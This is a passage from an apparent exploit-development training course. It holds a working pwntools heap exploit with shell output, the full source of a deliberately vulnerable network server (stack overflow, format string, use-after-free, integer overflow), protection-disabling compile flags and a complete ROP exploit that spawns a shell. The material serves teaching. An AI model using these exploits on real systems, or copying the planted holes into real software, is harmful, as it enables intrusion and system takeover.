# Stage 3: Free victim (goes into tcache)
p.sendline(b"delete 0")
log.info("Freed victim - now in tcache")
# Stage 4: Tcache poisoning - corrupt fd pointer using Safe-Linking
# We want the second malloc to return target_addr (not funcptr_addr!)
# Then we can write at offset 40 to overwrite the function pointer
heap_base = victim_addr >> 12
mangled_ptr = target_addr ^ heap_base # Target the USER struct, not the funcptr
log.info(f"Heap base (>>12): {hex(heap_base)}")
log.info(f"Mangled pointer: {hex(mangled_ptr)}")
# Write mangled pointer to victim's fd (offset 0 in freed chunk)
p.sendline(f"write 0 0 {mangled_ptr:x}".encode())
p.recvuntil(b"Wrote")
log.success("Corrupted tcache fd pointer")
# Stage 5: Allocate twice to get target_addr
# First malloc returns the victim chunk (removes it from tcache)
p.sendline(b"create dummy1 25")
p.recvuntil(b"created at ")
first = int(p.recvline().strip(), 16)
log.info(f"First malloc: {hex(first)}")
# Second malloc should return our poisoned target_addr
# But it's returning a different address - tcache poisoning failed!
p.sendline(b"create dummy2 25")
p.recvuntil(b"created at ")
second = int(p.recvline().strip(), 16)
log.info(f"Second malloc: {hex(second)}")
if second == target_addr:
log.success("Got arbitrary write at target user struct!")
# Now users[1] (target) and users[3] (dummy2) point to same memory!
else:
log.warning(f"Expected {hex(target_addr)}, got {hex(second)}")
log.warning("Tcache poisoning failed!")
log.warning("")
log.warning("Possible reasons:")
log.warning("1. The write corrupted the tcache structure")
log.warning("2. Malloc size mismatch (different name lengths)")
log.warning("3. Tcache has multiple entries and we got a different one")
log.warning("")
log.warning("Let's try a different approach: just overwrite target directly")
# Alternative: Since we have arbitrary write, just overwrite target's funcptr
p.sendline(f"write 1 40 {leaked_addr:x}".encode())
p.recvuntil(b"Wrote")
log.success(f"Directly overwrote target's function pointer")
p.sendline(b"print 1")
p.recvuntil(b"Admin access!")
log.success("Got shell via direct overwrite!")
p.interactive()
return
# Stage 6: Overwrite function pointer with admin_print
# Write at offset 40 of dummy2 (index 3)
p.sendline(f"write 3 40 {leaked_addr:x}".encode())
p.recvuntil(b"Wrote")
log.success(f"Overwrote function pointer with {hex(leaked_addr)}")
# Stage 7: Trigger by printing target user (index 1)
p.sendline(b"print 1")
p.recvuntil(b"Admin access!")
log.success("Got shell!")
p.interactive()
if __name__ == "__main__":
exploit()
Expected Output:
[*] admin_print @ 0x4012b0
[+] Leaked admin_print: 0x4012b0
[*] Victim user at 0x1cc3f6c0
[*] Target user at 0x1cc3f700
[*] Function pointer at 0x1cc3f728
[*] Freed victim - now in tcache
[*] Heap base (>>12): 0x1cc3f
[*] Mangled pointer: 0x1cc23b3f
[+] Corrupted tcache fd pointer
[*] First malloc: 0x1cc3f6c0
[*] Second malloc: 0x1cc3f740
[!] Expected 0x1cc3f700, got 0x1cc3f740
[!] Tcache poisoning failed!
[!]
[!] Possible reasons:
[!] 1. The write corrupted the tcache structure
[!] 2. Malloc size mismatch (different name lengths)
[!] 3. Tcache has multiple entries and we got a different one
[!]
[!] Let's try a different approach: just overwrite target directly
[+] Directly overwrote target's function pointer
[+] Got shell via direct overwrite!
[*] Switching to interactive mode
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev)
$ exit
[!TIP] Why Tcache Poisoning Failed Here:
The tcache poisoning technique is correct, but in this specific challenge:
- Variable-size allocations make tcache behavior unpredictable
- The
writeprimitive corrupts the tcache structure- Multiple chunks in tcache can cause unexpected behavior
The exploit demonstrates both approaches:
- Tcache poisoning - The "proper" heap exploitation technique
- Direct overwrite - Simpler when you have arbitrary write
In real-world scenarios without arbitrary write, you'd need to:
- Carefully control allocation sizes
- Ensure tcache has only one entry
- Avoid corrupting tcache metadata
Key Takeaways:
Compilation and Testing:
# Compile the challenge
gcc -g -O0 -fno-stack-protector -no-pie -z execstack -o challenge challenge.c
# Run the exploit
python challenge_exploit.py
# Expected: Shell access via direct overwrite fallback
vuln_server.You are provided with a binary vuln_server running on port 1337. It has the following commands:
auth <name>: Vulnerable to Stack Overflow → Requires ROP chain (NX enabled!)echo <msg>: Vulnerable to Format String → Provides libc leak
note <id> <text>: Vulnerable to UAF (delete/use).VulnServer Source Code (vuln_server.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdint.h>
#include <syslog.h>
#define PORT 1337
#define MAX_NOTES 10
#define MAX_DATA_SIZE 4096
typedef struct {
char content[64];
void (*display)(char *);
} Note;
typedef struct {
char *data;
size_t size;
size_t capacity;
} DataBuffer;
Note *notes[MAX_NOTES];
DataBuffer *data_buffer = NULL;
int authenticated = 0;
int current_client_fd = -1; // Store current client FD globally
void print_note(char *content) {
printf("Note: %s\n", content);
}
// FIXED: Now redirects stdin/stdout/stderr to the socket!
void admin_shell(char *unused) {
// Log to syslog for debugging
syslog(LOG_INFO, "admin_shell() called! client_fd=%d", current_client_fd);
if (current_client_fd != -1) {
// Redirect stdin, stdout, stderr to the socket
dup2(current_client_fd, 0); // stdin
dup2(current_client_fd, 1); // stdout
dup2(current_client_fd, 2); // stderr
syslog(LOG_INFO, "File descriptors redirected");
}
write(current_client_fd, "Admin access granted!\n", 22);
syslog(LOG_INFO, "About to call system(/bin/sh)");
// Use execve to replace the process (never returns)
char *args[] = {"/bin/sh", "-i", NULL};
char *env[] = {NULL};
execve("/bin/sh", args, env);
// If execve fails, try system
system("/bin/sh -i");
syslog(LOG_INFO, "Shell exited, calling exit()");
// Make sure we never return to the caller
exit(0);
}
// Vulnerable: Stack buffer overflow
// FIXED: Use memcpy with explicit length to allow null bytes
void handle_auth(int client_fd, char *data) {
char username[64];
char response[128];
// VULNERABLE: No bounds checking!
// We need to get the length from somewhere that includes null bytes
// Since data comes from the network buffer, we'll copy a fixed large amount
memcpy(username, data, 200); // VULNERABLE! Copies way more than buffer size
if (strcmp(username, "admin") == 0) {
authenticated = 1;
sprintf(response, "Welcome, %s!\n", username);
} else {
sprintf(response, "Access denied for %s\n", username);
}
write(client_fd, response, strlen(response));
}
// Vulnerable: Format string
void handle_echo(int client_fd, char *data) {
char response[256];
snprintf(response, sizeof(response), data);
strcat(response, "\n");
write(client_fd, response, strlen(response));
}
// Vulnerable: Use-after-free
void handle_note(int client_fd, char *data) {
char cmd[16];
int id;
char content[64];
char response[128];
sscanf(data, "%15s %d %63[^\n]", cmd, &id, content);
if (id < 0 || id >= MAX_NOTES) {
write(client_fd, "Invalid ID\n", 11);
return;
}
if (strcmp(cmd, "create") == 0) {
notes[id] = malloc(sizeof(Note));
strcpy(notes[id]->content, content);
notes[id]->display = print_note;
sprintf(response, "Note %d created\n", id);
} else if (strcmp(cmd, "delete") == 0) {
free(notes[id]);
sprintf(response, "Note %d deleted\n", id);
} else if (strcmp(cmd, "show") == 0) {
if (notes[id]) {
notes[id]->display(notes[id]->content);
sprintf(response, "Note %d displayed\n", id);
} else {
sprintf(response, "Note %d is empty\n", id);
}
} else if (strcmp(cmd, "edit") == 0) {
Note *n = malloc(sizeof(Note));
strcpy(n->content, content);
n->display = print_note;
sprintf(response, "Edit buffer created\n");
} else {
sprintf(response, "Unknown note command\n");
}
write(client_fd, response, strlen(response));
}
// Vulnerable: Integer overflow
void handle_data(int client_fd, char *data) {
char cmd[16];
unsigned int size;
char response[128];
sscanf(data, "%15s %u", cmd, &size);
if (strcmp(cmd, "alloc") == 0) {
if (size > MAX_DATA_SIZE) {
write(client_fd, "Size too large\n", 15);
return;
}
if (data_buffer) {
free(data_buffer->data);
free(data_buffer);
}
data_buffer = malloc(sizeof(DataBuffer));
data_buffer->capacity = size + 1; // VULNERABLE!
data_buffer->data = malloc(data_buffer->capacity);
data_buffer->size = 0;
sprintf(response, "Allocated %u bytes\n", size);
write(client_fd, response, strlen(response));
} else if (strcmp(cmd, "write") == 0) {
if (!data_buffer) {
write(client_fd, "No buffer allocated\n", 20);
return;
}
write(client_fd, "Send data: ", 11);
ssize_t n = read(client_fd, data_buffer->data, data_buffer->capacity);
if (n > 0) {
data_buffer->size = n;
sprintf(response, "Wrote %zd bytes\n", n);
write(client_fd, response, strlen(response));
}
} else if (strcmp(cmd, "read") == 0) {
if (!data_buffer || data_buffer->size == 0) {
write(client_fd, "No data to read\n", 16);
return;
}
write(client_fd, "Data: ", 6);
write(client_fd, data_buffer->data, data_buffer->size);
write(client_fd, "\n", 1);
} else {
write(client_fd, "Unknown data command\n", 21);
}
}
void handle_client(int client_fd) {
char buffer[512];
ssize_t bytes_read;
// Store client FD globally so admin_shell can use it
current_client_fd = client_fd;
write(client_fd, "VulnServer v1.0 (FIXED)\n", 24);
write(client_fd, "Commands: auth, echo, note, data, quit\n", 40);
write(client_fd, "> ", 2);
while ((bytes_read = read(client_fd, buffer, sizeof(buffer) - 1)) > 0) {
buffer[bytes_read] = '\0';
if (bytes_read > 0 && buffer[bytes_read - 1] == '\n') {
buffer[bytes_read - 1] = '\0';
}
if (strncmp(buffer, "auth ", 5) == 0) {
handle_auth(client_fd, buffer + 5);
} else if (strncmp(buffer, "echo ", 5) == 0) {
handle_echo(client_fd, buffer + 5);
} else if (strncmp(buffer, "note ", 5) == 0) {
handle_note(client_fd, buffer + 5);
} else if (strncmp(buffer, "data ", 5) == 0) {
handle_data(client_fd, buffer + 5);
} else if (strncmp(buffer, "quit", 4) == 0) {
write(client_fd, "Goodbye!\n", 9);
break;
} else {
write(client_fd, "Unknown command\n", 16);
}
write(client_fd, "> ", 2);
}
if (data_buffer) {
free(data_buffer->data);
free(data_buffer);
}
for (int i = 0; i < MAX_NOTES; i++) {
if (notes[i]) {
free(notes[i]);
}
}
close(client_fd);
}
int main() {
int server_fd, client_fd;
struct sockaddr_in address;
int opt = 1;
// Open syslog for debugging
openlog("vuln_server", LOG_PID | LOG_CONS, LOG_USER);
syslog(LOG_INFO, "VulnServer starting...");
server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd < 0) {
perror("socket");
exit(1);
}
setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(PORT);
if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {
perror("bind");
exit(1);
}
if (listen(server_fd, 3) < 0) {
perror("listen");
exit(1);
}
printf("VulnServer (FIXED) listening on port %d...\n", PORT);
while (1) {
client_fd = accept(server_fd, NULL, NULL);
if (client_fd < 0) {
perror("accept");
continue;
}
if (fork() == 0) {
close(server_fd);
handle_client(client_fd);
exit(0);
}
close(client_fd);
}
return 0;
}
Compile VulnServer (AMD64 - NX ENABLED!):
# AMD64 with NX enabled - requires ROP!
gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security vuln_server.c -o vuln_server
# Verify protections
checksec --file=vuln_server
# Expected: NX enabled, Canary disabled, PIE disabled, Partial RELRO
# Running server in a new tab
./vuln_server &
Critical Note on Exploitation:
The handle_auth() function in the provided source uses memcpy(username, data, 200) instead of the traditional strcpy(). This is intentional for the training exercise.
Why this matters:
strcpy() stops copying at the first null byte (\x00)0x0000000000401000)strcpy(), the return address would never be fully overwrittenmemcpy() with a fixed length allows null bytes, making the exploit workIn real-world scenarios with strcpy():
This is an important lesson: not all vulnerabilities are directly exploitable due to input validation constraints!
Vulnerability Summary:
| Command | Vulnerability | Primitive | Exploitation Goal |
|---|---|---|---|
auth <name> |
Stack Buffer Overflow (memcpy) | Control RIP | Direct jump to admin_shell |
echo <msg> |
Format String (snprintf) | Leak + Write | Leak libc addresses, overwrite GOT |
note create/delete/show/edit |
Use-After-Free | Control function pointer | Redirect to admin_shell |
data alloc <size> |
Integer Overflow | Heap overflow | Corrupt heap metadata |
Note: The auth command uses memcpy() instead of strcpy() to allow null bytes in the payload. With strcpy(), this vulnerability would require chaining with other bugs (format string or UAF) for exploitation.
Exploitation Strategy:
Phase 1 - Stack Overflow (Direct Approach):
ret gadget)Phase 2 - Information Gathering (For Advanced Techniques):
echo %p.%p.%p.%p.%p.%p.%p.%p to leak stack addressesPhase 3 - Alternative Attack Vectors (Optional):
Task:
auth command to get shell via direct jump to admin_shellecho format string to leak libc addressesnote UAF to redirect control flowdata integer overflow for heap corruptionThe Capstone Challenge: Build working exploits for VulnServer
The working exploit requires modifying handle_auth() to use memcpy() instead of strcpy() because strcpy() stops at null bytes, and x86-64 addresses always contain null bytes. write it yourself, look at this in case you got stuck
#!/usr/bin/env python3
# pwn_vuln_server.py - Only Task 1, do the rest yourself
"""
This exploit works with the modified vuln_server.c that uses memcpy()
instead of strcpy() in handle_auth(), allowing null bytes in the payload.
Compile:
gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none \
-Wno-format-security vuln_server.c -o vuln_server
Run:
./vuln_server &
Exploit:
python pwn_vuln_server.py
"""
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
def pwn():
p = remote('localhost', 1337)
p.recvuntil(b'> ')
# Load binary
elf = ELF('./vuln_server')
admin_shell = elf.symbols['admin_shell']
log.success(f"admin_shell @ {hex(admin_shell)}")
# Find ret gadget for stack alignment
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]
log.info(f"ret @ {hex(ret)}")
# Calculate offset
# username[64] buffer starts at rbp-0x40
# Distance from start of username to return address:
# 64 bytes (buffer) + 8 bytes (saved RBP) = 72 bytes
offset = 72
log.info(f"Offset: {offset} bytes")
# Build payload
# Note: This works because memcpy() allows null bytes
payload = b'A' * offset
payload += p64(ret) # Stack alignment (16-byte before call)
payload += p64(admin_shell) # Jump to admin_shell()
log.info(f"Payload: {len(payload)} bytes")
log.info("Sending exploit...")
p.sendline(b'auth ' + payload)
# Wait for response
try:
response = p.recvline(timeout=2)
log.info(f"Response: {response[:60]}...")
except:
pass
# Check for admin message
sleep(0.5)
try:
data = p.recv(timeout=2)
if b'Admin access granted' in data:
log.success("admin_shell() was called!")
log.info(f"Received: {data}")
except:
pass
# Now interact with the shell
log.success("Going interactive - you should have a shell!")
log.info("Try commands: id, whoami, ls, pwd")
p.interactive()
if __name__ == '__main__':
pwn()
Real-World Implications:
Alternative Exploitation Paths (without modifying the server):
echo command to write to GOT or function pointersnote command to control function pointer (no null bytes needed)data command for heap corruption leading to arbitrary writeEnvironment Setup
Task 1: Stack Overflow (Primary Goal) [x] Working exploit provided
Task 2: Format String Leak
echo commandTask 3: Use-After-Free
note commandTask 4: Integer Overflow
data alloc commandsize + 1 can wrap to 0 if size = 0xffffffffDocumentation
system() may fail; use one_gadget with RBP fix or function pointer overwrites instead.strcpy() stop at null bytes, making some exploits impossible without modification or vulnerability chaining.The techniques you learned this week apply to Windows with some modifications:
| Linux Concept | Windows Equivalent | Key Difference |
|---|---|---|
execve("/bin/sh") |
WinExec("cmd.exe") |
Different API, same goal |
| GOT/PLT | IAT (Import Address Table) | Similar lazy binding concept |
| Stack canary | /GS cookie | XOR'd with stack frame pointer on Windows |
| NX bit | DEP | Same hardware feature |
| ASLR | ASLR + High Entropy VA | More entropy on 64-bit Windows |
| Signal handlers | SEH (Structured Exception Handling) | Different exploitation approach (chain overwrites) |
| glibc heap | NT Heap / Segment Heap | Different allocator internals and metadata |
| Format strings | Same vulnerability | Different format specifiers (%p, %n work) |
| ROP gadgets | Same technique | Different calling convention (stack-based args) |
| one_gadget | Magic gadgets in system DLLs | Similar concept, different tools |
Day 1: Stack buffer overflow, shellcode execution, NOP sleds, offset finding
Day 2: ret2libc, ROP chains, libc leaks, one_gadget, stack alignment
Day 3: Heap fundamentals, heap overflow, fastbin/tcache poisoning
Day 4: Modern heap techniques (House of Botcake, House of Water, House of Tangerine), safe-linking bypass
Day 5: Format string exploitation, arbitrary read/write, GOT overwrites, FSOP
Day 6: Logic bugs, data-only attacks, UAF exploitation, race conditions
Day 7: Integer overflows, multi-stage exploits, combining primitives
Next week introduces modern exploit mitigations (DEP, ASLR, stack canaries, CFI/CET) and how they prevent the techniques you learned this week. You'll learn to:
checksec, vmmap, and runtime analysisThe goal is to understand what each mitigation protects against and why it works before learning how to defeat it.